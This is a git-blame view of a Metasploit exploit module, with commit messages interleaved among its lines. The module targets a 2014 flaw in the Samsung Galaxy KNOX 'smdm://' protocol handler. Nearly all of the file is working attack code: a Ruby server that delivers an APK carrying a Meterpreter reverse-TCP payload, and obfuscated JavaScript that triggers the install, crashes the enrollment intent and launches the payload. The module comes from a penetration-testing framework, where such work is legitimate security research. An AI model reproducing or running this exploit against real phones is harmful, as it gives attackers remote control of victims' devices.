infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/exploits/android/browser/samsung_knox_smdm_url.rb

164 lines
4.6 KiB
Ruby
Raw Normal View History

Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'digest/md5'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
# Hash that maps payload ID -> (0|1) if an HTTP request has
# been made to download a payload of that ID
attr_reader :served_payloads
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
def initialize(info = {})
super(update_info(info,
Fix up KNOX caps, descriptive description
2014-11-17 19:29:00 +00:00
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
'Description' => %q{
Fix up KNOX caps, descriptive description
2014-11-17 19:29:00 +00:00
A vulnerability exists in the KNOX security component of the Samsung Galaxy
Not root, just arbitrary permissions.
2014-11-13 03:51:55 +00:00
firmware that allows a remote webpage to install an APK with arbitrary
Fix up KNOX caps, descriptive description
2014-11-17 19:29:00 +00:00
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
component.
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
and Ace 4.
},
'License' => MSF_LICENSE,
'Author' => [
Add jduck as an author on samsung_knox_smdm_url
2014-11-19 16:18:08 +00:00
'Andre Moulu', # discovery, advisory, and exploitation help
'jduck', # msf module
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
'joev' # msf module
],
'References' => [
Add an OSVDB ref
2014-11-17 19:26:21 +00:00
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
['OSVDB', '114590']
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Nov 12 2014',
'DefaultTarget' => 0,
Remove BAP target, payload is flaky. Add warning.
2014-11-17 08:02:37 +00:00
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
'BrowserRequirements' => {
:source => 'script',
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
:os_name => OperatingSystems::Match::ANDROID
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
}
))
register_options([
OptString.new('APK_VERSION', [
false, "The update version to advertise to the client", "1337"
])
], self.class)
deregister_options('JsObfuscate')
end
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
def exploit
@served_payloads = Hash.new(0)
super
end
def apk_bytes
payload.encoded
end
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
def on_request_uri(cli, req)
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
if req.method.upcase == 'HEAD'
print_status "Serving metadata..."
send_response(cli, '', magic_headers)
else
print_status "Serving payload '#{$1}'..."
@served_payloads[$1] = 1
send_response(cli, apk_bytes, magic_headers)
end
elsif req.uri =~ /_poll/
Change puts to vprint_debug.
2014-11-17 16:13:13 +00:00
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
elsif req.uri =~ /launch$/
send_response_html(cli, launch_html)
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status "Serving exploit..."
send_response_html(cli, generate_html)
end
def magic_headers
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
{ 'Content-Length' => apk_bytes.length,
'ETag' => Digest::MD5.hexdigest(apk_bytes),
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
end
def generate_html
%Q|
<!doctype html>
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
<html><body>
<script>
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
#{exploit_js}
</script></body></html>
|
end
def exploit_js
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
payload_id = rand_word
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
js_obfuscate %Q|
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
function poll() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
if (xhr.responseText == '1') {
setTimeout(killEnrollment, 100);
} else {
setTimeout(poll, 1000);
minor syntax fixes.
2014-11-16 03:39:37 +00:00
setTimeout(enroll, 0);
setTimeout(enroll, 500);
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
}
}
};
minor syntax fixes.
2014-11-16 03:39:37 +00:00
xhr.onerror = function(){
setTimeout(poll, 1000);
setTimeout(enroll, 0);
};
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
xhr.send();
}
function enroll() {
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
var loc = window.location.href.replace(/[/.]$/g, '');
Remove BAP target, payload is flaky. Add warning.
2014-11-17 08:02:37 +00:00
top.location = 'smdm://#{rand_word}?update_url='+
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
encodeURIComponent(loc)+'/#{payload_id}.apk';
}
function killEnrollment() {
Remove BAP target, payload is flaky. Add warning.
2014-11-17 08:02:37 +00:00
top.location = "intent://#{rand_word}?program="+
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
setTimeout(launchApp, 300);
}
function launchApp() {
Remove BAP target, payload is flaky. Add warning.
2014-11-17 08:02:37 +00:00
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
2014-11-16 03:33:16 +00:00
}
enroll();
setTimeout(poll,600);
Add module for samsung knox root exploit.
2014-11-12 15:53:20 +00:00
|
end
def rand_word
Rex::Text.rand_text_alphanumeric(3+rand(12))
end
end